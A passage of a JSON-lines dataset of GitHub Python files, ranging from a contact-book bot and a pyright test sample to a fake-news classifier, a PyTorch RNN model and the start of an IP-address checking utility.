словами?\n@loger_errors\ndef show_all(user_input):\n \"\"\"Виводить всі додані контакти в словнику.\"\"\"\n for key, value in contacts.items():\n print(f\"{key.title()}: {value}\")\n\n\ndef main():\n \"\"\"Бере інпут, потім обирає яка це команда, перетворює інпут в потрібні елементи списку [name, phone...] \n перепитує параметри якщо були введені неправильно, виводить результат, продовжує чекати нову команду\"\"\"\n while flag == True:\n user_input = input(\"Please, input command: \")\n command, other_commands = parser(user_input)\n handler = get_handler(command) \n try:\n result = handler(other_commands)\n if bool(result) == True:\n print(result)\n except TypeError:\n pass\n \n if flag == False:\n print(\"Good bye!\")\n\n \n\nCOMMANDS = {\n 'hello': hello,\n 'help': hello,\n 'add': add_phone,\n 'change': change_phone,\n 'phone': get_phone,\n 'show_all': show_all,\n 'goodbye': close,\n 'close': close,\n 'exit': close\n}\n\ncontacts = {}\nflag = True\n\nif __name__ == '__main__':\n main()\n","repo_name":"aitymori/python-core-hw9","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4285,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34580222930","text":"from models.Status import Status\n# Monsters\n# Level 1 = 20 points\nbaseMonster = Status(5, 5, 5, 5)\n# Level 2 = 30 points\nregularMonster = Status(7.5, 7.5, 7.5, 7.5)\n# Level 3 = 40 points\nhardMonster = Status(10, 10, 10, 10)\n\n\ndataStatus = { 'baseMonster' : baseMonster, \n 'regularMonster' : regularMonster, \n 'hardMonster' : hardMonster }","repo_name":"thalessahd/mesc","sub_path":"Extra/my_oo_rpg/dataBase/status/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35628696165","text":"# This sample tests the case where a class is passed as the first argument\n# to functools.partial.\n\nfrom functools import partial\nfrom typing import TypeVar\n\n\nclass A:\n def __init__(self, x: int, y: int) -> None:\n ...\n\n\n# This should generate an error because \"y\" has the wrong type.\nv1 = partial(A, x=1, y=\"a\")\n\nv2 = partial(A, x=1, y=2)\nreveal_type(v2, expected_text=\"partial[A]\")\nv2()\nv2(x=2)\n\n\nT = TypeVar(\"T\", bound=A)\n\n\ndef func1(x: type[T]):\n # This should generate an error because \"z\" is not a valid parameter.\n v1 = partial(x, x=1, z=\"a\")\n\n v2 = partial(x, y=1)\n\n # This should generate an error because it's missing \"x\".\n v2()\n\n v2(x=1)\n","repo_name":"microsoft/pyright","sub_path":"packages/pyright-internal/src/tests/samples/partial5.py","file_name":"partial5.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":11208,"dataset":"github-code","pt":"48"} +{"seq_id":"40118601987","text":"import os\nimport datetime\nfrom fireworks import LaunchPad\nfrom fireworks.core.rocket_launcher import rapidfire\nfrom fireworks.core.fworker import FWorker\nfrom pymatgen.io.ase import AseAtomsAdaptor\nfrom pymatgen import Structure\nfrom ase_fireworks import get_ase_wflows\nimport yaml\nimport json\n\n\n\n\nbase_dir = '/gpfs/pace1/project/chbe-medford/medford-share/users/bcomer3/pseudopotential_generation/'\n\nproc_nums = {\n 'dcdft':10\n }\n\npkg_info = {\n 'sparc':{'calculator':'SPARC','calculator_module':'sparc.sparc'},\n 'abinit':{'calculator':'Abinit','calculator_module':'ase.calculators.abinit'},\n 'espresso':{'calculator':'Espresso','calculator_module':'espresso.espresso'},\n 'elk':{'calculator':'ELK','calculator_module':'ase.calculators.elk'},\n }\n\nsoftware_packages = ['abinit']\n\n\nsystems = ['dcdft']\n\ndef populate_launchpad(software, systems, optimizer = None):\n \"\"\"\n A simple function to fill a workflow with a set of systems\n \"\"\"\n # load in fireworks\n launch_pad = yaml.load(open('../config/my_launchpad.yaml', 'r'))\n\n # this is messy, but it has to be done\n del launch_pad['ssl_ca_file']\n del launch_pad['strm_lvl']\n del launch_pad['user_indices']\n del launch_pad['wf_user_indices']\n\n lpad = LaunchPad(**launch_pad)\n\n # set up Abinit's input settings\n\n db_file = os.getcwd() + '/../config/db.json'\n for system_class in systems:\n # load in the json file\n systems = json.load(open('{}{}.json'.format(base_dir+'/staging/structures/', system_class), 'rb'))\n parameters = json.load(open('{}{}.json'.format(base_dir+'/staging/parameters/', system_class),'rb'))\n # reformat into lists\n ids = []\n systems_list = []\n parameters_list = []\n for id_, system in systems.items():\n systems_list.append(system)\n parameters_list.append(parameters[id_])\n ids.append(id_)\n # convert from pymatgen structures to ase atoms objects\n systems_list = [AseAtomsAdaptor.get_atoms(Structure.from_dict(a)) for a in systems_list]\n\n wf = get_ase_wflows(systems_list,\n parameters = parameters,\n calculator = pkg_info[software]['calculator'],\n to_db = True,\n db_file = db_file,\n optimizer = optimizer,\n calculator_module = pkg_info[software]['calculator_module'],\n identifiers = None)\n # add the workflow\n lpad.add_wf(wf)\n\n\nos.chdir(base_dir)\nfor package in software_packages:\n for procs, launches in proc_nums.items():\n os.chdir('{}/{}/runs'.format(procs,package))\n os.system('lpad -c ../config/ reset --password {}'\\\n .format(datetime.datetime.now().strftime('%Y-%m-%d')))\n\n populate_launchpad(package, systems)\n\n #os.system('qlaunch -c ../config rapidfire --nlaunches {}'.format(launches))\n os.chdir(base_dir)\n\n\n","repo_name":"medford-group/ase_fireworks","sub_path":"ase_fireworks/run_benchmarks.py","file_name":"run_benchmarks.py","file_ext":"py","file_size_in_byte":3008,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26526381679","text":"# Import necessary standard libraries\r\nimport cv2\r\nimport numpy as np\r\n# Import necessary constants\r\nfrom utils import constants\r\n\r\n\r\nclass Map:\r\n def __init__(self, clearance):\r\n \"\"\"\r\n Initialize map class with radius of the robot and clearance\r\n :param clearance:\r\n \"\"\"\r\n # Various class parameters\r\n self.height = constants.map_size[0]\r\n self.width = constants.map_size[1]\r\n self.thresh = int(constants.robot_radius) + clearance\r\n self.scaling = constants.scaling_factor\r\n self.black = (0, 0, 0)\r\n # Define length of edge of squares\r\n # Same for all squares\r\n self.square_length = int(self.scaling * 1.501)\r\n # Define the coordinates of the top-left corner of the square obstacles\r\n self.square_coords = np.array([(225, 125),\r\n (25, self.height - 500 - 75),\r\n (self.width - 100 - 75, self.height - 500 - 75)],\r\n dtype=np.int32)\r\n # Define radius of circular obstacles\r\n # Radius is same for all circles\r\n self.circle_radius = self.scaling * 1\r\n # Define centers of all circles\r\n self.circle_centers = np.array([(self.width - 300, 200),\r\n (500, 500),\r\n (300, self.height - 200),\r\n (self.width - 300, self.height - 200)],\r\n dtype=np.int32)\r\n # Define empty world and add obstacles to it\r\n self.map_img = self.draw_obstacles()\r\n # Get image to search for obstacles\r\n self.check_img = self.erode_image()\r\n\r\n def draw_circle(self, img, thresh=0):\r\n \"\"\"\r\n Draw the 4 circular obstacles on the map-image\r\n :return: nothing\r\n \"\"\"\r\n for center in self.circle_centers:\r\n # Draw the circle\r\n cv2.circle(img, (center[0], center[1]), self.circle_radius + thresh, self.black, -1)\r\n\r\n def draw_squares(self, img, thresh=0):\r\n \"\"\"\r\n # Draw the 3 square obstacles on the map\r\n # :return: nothing\r\n \"\"\"\r\n for corner in self.square_coords:\r\n top_corner = (corner[0] - thresh), (corner[1] - thresh)\r\n bottom_corner = (corner[0] + self.square_length + thresh), (corner[1] + self.square_length + thresh)\r\n # Draw the square on the map\r\n cv2.rectangle(img, top_corner, bottom_corner, self.black, -1)\r\n\r\n def erode_image(self):\r\n \"\"\"\r\n Get eroded image to check for obstacles considering the robot radius and clearance\r\n :return: image with obstacle space expanded to distance threshold between robot and obstacle\r\n \"\"\"\r\n # Get map with obstacles\r\n eroded_img = self.map_img.copy()\r\n # Erode map image for rigid robot\r\n self.draw_squares(eroded_img, self.thresh)\r\n self.draw_circle(eroded_img, self.thresh)\r\n\r\n return eroded_img\r\n\r\n def draw_obstacles(self):\r\n \"\"\"\r\n Draw map using half-plane equations\r\n :return: map-image with all obstacles\r\n \"\"\"\r\n self.map_img = cv2.imread('images/map.png')\r\n if self.map_img is None:\r\n self.map_img = np.zeros((self.height, self.width, 3), dtype=np.uint8)\r\n # Fill map-image with white color\r\n self.map_img.fill(255)\r\n # Draw various obstacles on the map\r\n self.draw_circle(self.map_img)\r\n self.draw_squares(self.map_img)\r\n cv2.imwrite('images/map.png', self.map_img)\r\n\r\n return self.map_img\r\n\r\n def get_position_in_map(self, point, theta=0):\r\n \"\"\"\r\n Convert world frame coordinates and orientation into map frame\r\n :param point: a tuple containing x,y coordinates in meters\r\n :param theta: orientation in degrees\r\n :return: a tuple of x,y coordinates and orientation\r\n \"\"\"\r\n x, y = point\r\n theta = theta // constants.angular_step\r\n # Scale the coordinates and convert them into map frame\r\n x, y = constants.map_center[1] + int(self.scaling * x), constants.map_center[1] + int(self.scaling * y)\r\n return list((y, x, theta))\r\n","repo_name":"urastogi885/a-star-turtlebot","sub_path":"utils/obstacle_space.py","file_name":"obstacle_space.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"48"} +{"seq_id":"29170549545","text":"#! /usr/bin/env python\n\nimport logging, os\n\nfrom pbhla.log import initialize_logger\nfrom pbhla.references.data import get_exon_reference, get_genomic_reference, get_cDNA_reference\nfrom pbhla.external.utils import full_align_best_reference\nfrom pbhla.external.align_by_identity import align_by_identity\nfrom pbhla.sequences.orientation import orient_sequences\nfrom pbhla.sequences.input import get_input_file\nfrom pbhla.sequences.rename import rename_sequences\nfrom pbhla.alleles.extract import extract_alleles\nfrom pbhla.alleles.trim import trim_alleles\nfrom pbhla.cdna.extract_cDNA import extract_cDNA\nfrom pbhla.typing.summarize import summarize_typing\n\nGROUPINGS = ['locus', 'allele', 'both', 'all']\nGROUPING = 'both'\n\nlog = logging.getLogger()\n\ndef type_sequences( input, grouping=GROUPING,\n exon_fofn=None,\n genomic_reference=None,\n cDNA_reference=None,\n trim=0,\n loci=None,\n debug=False ):\n \"\"\"\n Pick the top Amplicon Analysis consensus seqs from a Fasta by Nreads\n \"\"\"\n log_file = get_log_file( input )\n initialize_logger( log, log_file=log_file )\n\n # First, get any references not specified by the user\n grouping = grouping or GROUPING\n exon_fofn = exon_fofn or get_exon_reference()\n genomic_reference = genomic_reference or get_genomic_reference()\n cDNA_reference = cDNA_reference or get_cDNA_reference()\n\n # Second, get the input file if a directory was specified\n sequence_file = get_input_file( input )\n\n # Finally, run the Typing procedure\n renamed_file = rename_sequences( sequence_file )\n raw_alignment = full_align_best_reference( renamed_file, genomic_reference )\n reoriented = orient_sequences( renamed_file, alignment_file=raw_alignment )\n selected = extract_alleles( reoriented, alignment_file=raw_alignment,\n method=grouping,\n loci=loci)\n trimmed = trim_alleles( selected, trim=trim )\n gDNA_alignment = full_align_best_reference( trimmed, genomic_reference )\n cDNA_file = extract_cDNA( trimmed, exon_fofn, alignment_file=gDNA_alignment, debug=debug )\n cDNA_alignment = align_by_identity( cDNA_file, cDNA_reference )\n typing = summarize_typing( gDNA_alignment, cDNA_alignment )\n return typing\n\ndef get_output_dir( input ):\n if os.path.isdir( input ):\n return input\n else:\n return os.path.split( input )[0]\n\ndef get_log_file( input ):\n dir = get_output_dir( input )\n return os.path.join(dir, 'amp_analysis_typing.log')\n","repo_name":"bnbowman/HlaTools","sub_path":"src/pbhla/typing/sequences.py","file_name":"sequences.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"48"} +{"seq_id":"18394737580","text":"# Q34-Digit factorials\r\n# unsolved\r\n\r\n\r\ndef factorial(a):\r\n fac = 1\r\n for i in range(a, 0, -1):\r\n fac *= i\r\n return fac\r\n\r\n\r\ndef take_number_apart(a):\r\n fac_sum = 0\r\n for j in str(a):\r\n fac_sum += factorial(int(j))\r\n return fac_sum\r\n\r\n\r\n# find the limit\r\nk = 9\r\nsummation = 0\r\nwhile k < take_number_apart(k):\r\n k = k * 10 + 9\r\n\r\nfor n in range(3, k+1, 1):\r\n summation += n if n == take_number_apart(n) else False\r\nprint(summation)\r\n","repo_name":"Penguin-71630/Python-3","sub_path":"Project Euler/34.py","file_name":"34.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22137493353","text":"import logging\nlogger = logging.getLogger()\n\n# easikit imports\nfrom easiutils import service as sv, exceptions as er, easiutils as eu\n\n# project specific imports\nfrom handler.model import heartbeat\n\n\n# the heartbeat module is intended to give a single endpoint healthcheck for the function\n# ideally this means an end-to-end check of all the components - ensuring it can connect\n# to the backend, checking networking, username/password and any other useful dependencies\n# in a single api call\n# if this isn't possible, delete this module and the basic easikit docker module will\n# return a standard heartbeat response (i.e. timestamp, function name and version)\n\ndef get_heartbeat():\n '''a bespoke way to handle the /heartbeat route\n checks with backend via model, then combines that to returns a message,\n a timestamp and the contents of feature.properties\n (i.e. the function name and version)\n '''\n\n # using sv.handle_request handles all errors raised in standard way\n with sv.handle_request() as h:\n # get any heartbeat status info from backend via model\n # get a timestamp, extract the function properties and \n # pass the package back to the handler\n data = heartbeat.heartbeat()\n\n h.resp = {\n \"body\": {\n \"heartbeat\": {\n \"timestamp\": eu.timestamp(),\n **eu.get_config(),\n **data\n }\n },\n \"status\": 200\n }\n\n return h.resp","repo_name":"AhmedMahmoud2/jupiter-training2-api-producer","sub_path":"functions/rmjlamm_training_api_publisher/handler/heartbeat.py","file_name":"heartbeat.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25083936433","text":"from __future__ import print_function\n\nimport logging\nimport random\nimport numpy as np\nimport pandas as pd\nfrom optparse import OptionParser\nimport sys\n\nfrom pymongo import MongoClient\n\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.naive_bayes import BernoulliNB, MultinomialNB\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.utils.extmath import density\nfrom sklearn import metrics\n\n\n# Display progress logs on stdout\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s')\n\n# parse commandline arguments\nop = OptionParser()\nop.add_option('--random',\n action='store', type='int', dest='num_samples',\n help='Select n random test samples from each data set.')\n\ndef is_interactive():\n return not hasattr(sys.modules['__main__'], '__file__')\n\n# work-around for Jupyter notebook and IPython console\nargv = [] if is_interactive() else sys.argv[1:]\n(opts, args) = op.parse_args(argv)\nif len(args) > 0:\n op.error(\"this script takes no arguments.\")\n sys.exit(1)\n\nprint(__doc__)\nop.print_help()\nprint()\n\n# Required function for tokenizing and preprocessing data since it is a list, not raw text.\ndef getChunks(sample):\n for word in sample:\n yield word\n\n# #############################################################################\n# Query data\n\n# Names of classifiers saved to array for retreival, normalization, and idendification after normalization\nclassifiers = ['straight', 'potential_bias', 'probable_bias', 'editorial', 'cherry', 'fake', 'satire']\nreal_target_names = ['straight', 'potential_bias', 'probable_bias', 'editorial', 'cherry']\nfake_target_names = ['fake', 'satire']\ntarget_names = ['real', 'fake']\n\n# Connect to MongoDB\nclient = MongoClient(port=27017)\ndb = client.classifiedArticles\n\n# Query real data by classifier\nreal_queries = [db.articlePhraseChunked.find({'classifier': classifier}) for classifier in real_target_names]\n\n# Query fake data by classifier\nfake_queries = [db.articlePhraseChunked.find({'classifier': classifier}) for classifier in fake_target_names]\n\n# Format real data, normalize classifier\nreal_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 0])\n for classifier in range(len(real_queries))\n for item in real_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# Format fake data, normalize classifier\nfake_data = np.array([np.array([[item[key][i].encode('ascii', 'ignore') for i in range(len(item[key]))], 1])\n for classifier in range(len(fake_queries))\n for item in fake_queries[classifier]\n for key in item if key == u'phraseChunks'])\n\n# #############################################################################\n# Function for getting sample data\n\ndef getData():\n # Get 5 random samples from each data set\n test_indicies_real = random.sample(range(0, real_data.shape[0]), 5)\n test_real = np.array([real_data[index] for index in test_indicies_real])\n test_indicies_fake = random.sample(range(0, fake_data.shape[0]), 5)\n test_fake = np.array([fake_data[index] for index in test_indicies_fake])\n\n # Set train samples as data retrieved without test samples\n train_real = np.delete(real_data, test_indicies_real, 0)\n train_fake = np.delete(fake_data, test_indicies_fake, 0)\n\n # Made train and test variables using train and test samples\n X_train = np.concatenate((train_real[:, 0], train_fake[:, 0]), axis=0)\n y_train = np.concatenate((train_real[:, 1], train_fake[:, 1]), axis=0).tolist()\n X_test = np.concatenate((test_real[:, 0], test_fake[:, 0]), axis=0)\n y_test = np.concatenate((test_real[:, 1], test_fake[:, 1]), axis=0).tolist()\n\n # Return sample data\n return X_train, y_train, X_test, y_test\n\n# #############################################################################\n# Funtion to vectorize data\n\ndef vectorize(X_train, X_test):\n # Create vectorizer\n vectorizer = TfidfVectorizer(analyzer=getChunks, sublinear_tf=True, max_df=0.2, stop_words='english')\n\n # Fit/tranform train data and transform test data\n X_train = vectorizer.fit_transform(X_train)\n X_test = vectorizer.transform(X_test)\n\n # Return vectorized data\n return X_train, X_test\n\n# #############################################################################\n# Function to benchmark classifiers\n\ndef benchmark(clf, X_train, y_train, X_test, y_test):\n clf.fit(X_train, y_train)\n pred = clf.predict(X_test)\n\n score = metrics.accuracy_score(y_test, pred)\n\n return score\n\n# #############################################################################\n\nresults = []\n\nfor i in range(100):\n # Get a new set of data\n X_train, y_train, X_test, y_test = getData()\n\n # Vectorize the new data\n X_train, X_test = vectorize(X_train, X_test)\n\n # Run data through classifiers\n predictions = np.array([benchmark(clf, X_train, y_train, X_test, y_test) for clf in (MultinomialNB(alpha=.01),\n BernoulliNB(alpha=0.0128125),\n SGDClassifier(alpha=.0001, max_iter=50, penalty='l1'),\n Perceptron(max_iter=50),\n RandomForestClassifier(n_estimators=100))])\n \n results.append(predictions)\n\n print('Test %i of 100 Complete.' % (i + 1))\n\nresults = np.array(results)\nresults = pd.DataFrame({'MultiNB': results[:, 0],\n 'BernNB': results[:, 1],\n 'SGD': results[:, 2],\n 'Percept': results[:, 3],\n 'RandFrst': results[:, 4]})\n\nresults.to_excel('classifierResults4.xlsx', sheet_name='sheet1', index=False)","repo_name":"garrickmcmickell/FakeNewsDetection","sub_path":"tf-idf.py","file_name":"tf-idf.py","file_ext":"py","file_size_in_byte":6380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35937212179","text":"import torch\nimport torch.nn as nn\nimport numpy as np\nfrom torch.autograd import Variable\n\nclass RNNModel(nn.Module):\n \"\"\"Container module with an encoder, a recurrent module, and a decoder.\"\"\"\n\n def __init__(self, rnn_type, ntoken, ninp, nhid, nlayers, dropout=0.5, bidirectional=False,\n tie_weights=False, xavier=False):\n super(RNNModel, self).__init__()\n self.encoder = nn.Embedding(ntoken, ninp)\n self.drop = nn.Dropout(dropout)\n self.rnn = getattr(nn, rnn_type)(ninp, nhid, nlayers,\n bias=False, dropout=dropout)\n self.decoder = nn.Linear(nhid, ntoken)\n self.xavier = xavier\n\n if tie_weights:\n self.decoder.weight = self.encoder.weight\n\n self.init_weights()\n\n self.rnn_type = rnn_type\n self.nhid = nhid\n self.nlayers = nlayers\n\n def _calculate_fan_in_and_fan_out(self, tensor):\n if tensor.ndimension() < 2:\n raise ValueError(\"fan in and fan out can not be computed for tensor of size \", tensor.size())\n\n if tensor.ndimension() == 2: # Linear\n fan_in = tensor.size(1)\n fan_out = tensor.size(0)\n else:\n num_input_fmaps = tensor.size(1)\n num_output_fmaps = tensor.size(0)\n receptive_field_size = np.prod(tensor.numpy().shape[2:])\n fan_in = num_input_fmaps * receptive_field_size\n fan_out = num_output_fmaps * receptive_field_size\n\n return fan_in, fan_out\n\n def xavier_normal(self, tensor, gain=1):\n \"\"\"Fills the input Tensor or Variable with values according to the method described in \"Understanding the difficulty of training\n deep feedforward neural networks\" - Glorot, X. and Bengio, Y., using a normal distribution.\n The resulting tensor will have values sampled from normal distribution with mean=0 and\n std = gain * sqrt(2/(fan_in + fan_out))\n Args:\n tensor: a n-dimension torch.Tensor\n gain: an optional scaling factor to be applied\n Examples:\n >>> w = torch.Tensor(3, 5)\n >>> nninit.xavier_normal(w, gain=np.sqrt(2.0))\n \"\"\"\n if isinstance(tensor, Variable):\n self.xavier_normal(tensor.data, gain=gain)\n return tensor\n else:\n fan_in, fan_out = self._calculate_fan_in_and_fan_out(tensor)\n std = gain * np.sqrt(2.0 / (fan_in + fan_out))\n return tensor.normal_(0, std)\n \n def init_weights(self):\n initrange = 0.1\n if self.xavier:\n self.xavier_normal(self.encoder.weight, gain=np.sqrt(2))\n self.xavier_normal(self.decoder.weight, gain=np.sqrt(2))\n else:\n self.encoder.weight.data.uniform_(-initrange, initrange)\n self.decoder.weight.data.uniform_(-initrange, initrange)\n self.decoder.bias.data.fill_(0)\n\n def forward(self, input, hidden):\n emb = self.encoder(input)\n output, hidden = self.rnn(emb, hidden)\n output = self.drop(output)\n decoded = self.decoder(output.view(output.size(0)*output.size(1), output.size(2)))\n decoded = self.drop(decoded)\n return decoded.view(output.size(0), output.size(1), decoded.size(1)), hidden\n\n def init_hidden(self, bsz):\n weight = next(self.parameters()).data\n if self.rnn_type == 'LSTM':\n return (Variable(weight.new(self.nlayers, bsz, self.nhid).zero_()),\n Variable(weight.new(self.nlayers, bsz, self.nhid).zero_()))\n else:\n return Variable(weight.new(self.nlayers, bsz, self.nhid).zero_())\n","repo_name":"SeanRosario/Deep-RNN","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"14062845112","text":"def read_rule(line):\n field, nums = line.strip().split(':')\n range_1, conj, range_2 = nums.strip().split()\n rule = {field: list(map(int, range_1.split('-'))) +\n list(map(int, range_2.split('-')))}\n return rule\n\ndef is_valid(ticket, rules):\n bad_vals = 0\n for field_val in ticket:\n for x,y in rules.items():\n a,b,c,d = y\n if a <= field_val <=b or c <= field_val <= d:\n break\n else:\n bad_vals += field_val\n return bad_vals\n\ndef count_valid(infile):\n data = 0\n rules = {}\n error_rate = 0\n with open(infile, 'r') as f:\n for line in f:\n if line.strip() == '':\n data += 1\n continue\n if data in [1,3]:\n data += 1\n continue\n if data == 0:\n print(read_rule(line))\n rules.update(read_rule(line))\n elif data >= 1:\n error_rate += is_valid(map(int, line.strip().split(',')), rules)\n return error_rate\n\nif __name__ == '__main__':\n infile = 'Advent16.txt'\n print(count_valid(infile))","repo_name":"jefallon/adventofcode2020","sub_path":"Day16a.py","file_name":"Day16a.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22665715284","text":"import json\nimport csv\n\nwith open('test1.json') as lines, open('data3.csv', 'w',encoding='utf-8') as output:\n output = csv.DictWriter(output, ['abstract','authors','n_citation',\"references\",\"title\",\"venue\",\"year\",'id'],lineterminator='\\n')\n output.writeheader()\n for line in lines:\n line = line.strip()\n if line[0] == '{' and line[-1] == '}':\n output.writerow(json.loads(line))","repo_name":"umerpervaiz12/json_to_csv_dblp","sub_path":"json_to_csv.py","file_name":"json_to_csv.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73594812626","text":"import random\nfrom synth.corpus.corpus_factory.base_render import BaseRender\n\n\nclass NumberRender(BaseRender):\n \"\"\"\n 生成数字words:\n - (0, 1000)均匀分布, 50%随机带 kg/mm/㎡ 符号\n - 均值0,标准差1000,保留0、1、2、3、4位小数\n \"\"\"\n def load(self):\n pass\n\n def get_sample(self):\n if random.random() < 0.5:\n num = random.randint(0, 1000)\n word = str(num)\n if random.random() < 0.5:\n unit = random.choices(['kg', 'mm', '㎡'], weights=[0.5, 0.3, 0.2])[0]\n word += unit\n else:\n num = random.gauss(0, 1000)\n digits = random.choices([0, 1, 2, 3, 4], weights=[0.4, 0.2, 0.2, 0.1, 0.1])[0]\n word = str(round(num, digits))\n return word\n\n def generate(self, size):\n for _ in range(size):\n yield self.get_sample()\n\n\nif __name__ == '__main__':\n r = NumberRender('../data/chars/chn.txt')\n for _ in range(100):\n print(r.get_sample())","repo_name":"askintution/SynthChinese","sub_path":"synth/corpus/corpus_factory/number_render.py","file_name":"number_render.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"2897663716","text":"#!/usr/bin/python3\n\nimport sys\n\nfilein = open(sys.argv[1], 'r')\nfileout = open(sys.argv[2], 'w')\nwordCounts={}\ncount = 20\nline=filein.readline()\nwhile line :\n word = line.rpartition(\"/\")[2]\n if word in wordCounts :\n \twordCounts[word] += 1\n else:\n \twordCounts[word] = 1\n line=filein.readline()\nitems0 = list(wordCounts.items())\nitems = [[x,y] for (y,x) in items0]\nitems.sort()\nif count > len(items):\n\tcount = len(items)\nmaxCount = items[len(items)-1][0]\nfor i in range(len(items)-1, len(items)-count-1, -1):\n\tif (items[i][0]*10 < maxCount):\n\t\tcontinue;\n\telse:\n\t\tprint(str(items[i][0]) + '\\t' + items[i][1], end=\"\")\n\t\tfileout.write(items[i][1])\nfilein.close()\nfileout.close()\n \t\n \t\n","repo_name":"springflo/test-aflgo","sub_path":"tests/Generate_target_lines.py","file_name":"Generate_target_lines.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"11188878554","text":"from base64 import b64encode\nimport argparse\nimport http.client\nimport logging\nimport os\nimport re\nimport shlex\nimport socket\nimport ssl\nimport subprocess\nimport sys\n\n# python 3\nif sys.version_info[0] == 3:\n string_types = str,\nelse:\n string_types = basestring,\n\n# Projet Import\n# Try to import from current directory\ntry:\n import ipcheckadvanced\nexcept ImportError:\n ipcheckadvanced = None\n print(e, file=sys.stderr)\n\nif ipcheckadvanced is not None:\n import types\n from ipcheckadvanced import IpCheckLoader\n from ipcheckadvanced.constant import *\n\n# Global project declarations\n__version__ = '4.0.0'\n\n\nclass IpCheckUrlIpException(BaseException):\n pass\n\nclass IpCheckFileException(BaseException):\n pass\n\nclass IpCheckFileIpException(BaseException):\n pass\n\n\nclass IpCheck:\n \"\"\"Ipcheck program\n \"\"\"\n # define the http protocol string\n REG_E_PROTO = 'https?'\n\n # match an auth string\n REG_E_AUTH = '(?P[a-zA-Z0-9]+)(?P:[a-zA-Z0-9]+)?@'\n\n # match a exact ipv4 address\n REG_E_IPV4 = '(?:(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'\n\n # according to RFC 1123 define an hostname\n REG_E_HOST = '(?:(?:[a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*(?:[A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])'\n\n # match the exact value of a port number\n REG_E_PORT = '(?:[0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])'\n\n # match a resource's path\n REG_E_PATH = '/(?:(?:[a-zA-Z0-9-_~.%]+/?)*)?'\n\n # match some http parameters\n REG_E_QUERY = '\\?(?:&?[a-zA-Z0-9-_~.%]+=?[a-zA-Z0-9-_~.%]*)+'\n\n # an URL is defined by :\n # PROTO+AUTH+IP|HOST+PORT+PATH+QUERY\n REG_E_URL = ('^(?P(?:(?P' + REG_E_PROTO + ')://)?' + # HTTP\n '(?:' + REG_E_AUTH + ')?' + # USER PASS\n '(?P' + REG_E_IPV4 + '|' + REG_E_HOST + ')' + # HOST or IP\n '(?P:' + REG_E_PORT + ')?' + # PORT\n '(?P' + REG_E_PATH + ')' + # PATH\n '(?P' + REG_E_QUERY + ')?' + # QUERY\n ')$')\n\n # an ip address is version 4\n REG_E_IP = '(?P' + REG_E_IPV4 + ')' # IP matching\n\n RE_URL = re.compile(REG_E_URL)\n RE_IP = re.compile(REG_E_IP)\n\n\n def __init__(self):\n \"\"\"Constructor : Build an ipcheck object\n \"\"\"\n # list of urls from which retrieve urls\n self.__urls = dict({4: dict(), 6: dict()})\n # disable ssl certificate verification False by default\n self.__tls_insecure = False\n # The HTTP timeout\n self.__timeout = 5\n # directory in which to store the local file\n self.__tmp_directory = '/var/tmp/'\n # the command to run after ip updating\n self.__command = None\n # ip version number for which to try to retrieve ip address\n self.__ip_versions = [4]\n # the file\n self.__file_pattern = 'ipv{ip_version}'\n\n # init logger\n self.__logger = logging.getLogger('ipcheck')\n self.__logger.setLevel(logging.DEBUG)\n\n # remove all previously defined handlers\n for handler in self.__logger.handlers:\n self.__logger.removeHandler(handler)\n # default format for all handlers\n out_formatter = logging.Formatter(\"%(levelname)s [%(name)s] : %(message)s\")\n # register stdout handler\n self.__logger_stdout = logging.StreamHandler(sys.stdout)\n self.__logger_stdout.setFormatter(out_formatter)\n self.__logger_stdout.setLevel(logging.INFO)\n self.__logger.addHandler(self.__logger_stdout)\n # register stderr handler\n self.__logger_stderr = logging.StreamHandler(sys.stderr)\n self.__logger_stderr.setFormatter(out_formatter)\n self.__logger_stderr.setLevel(logging.CRITICAL+1)\n self.__logger.addHandler(self.__logger_stderr)\n # init advanced interface\n self.loader = None\n if 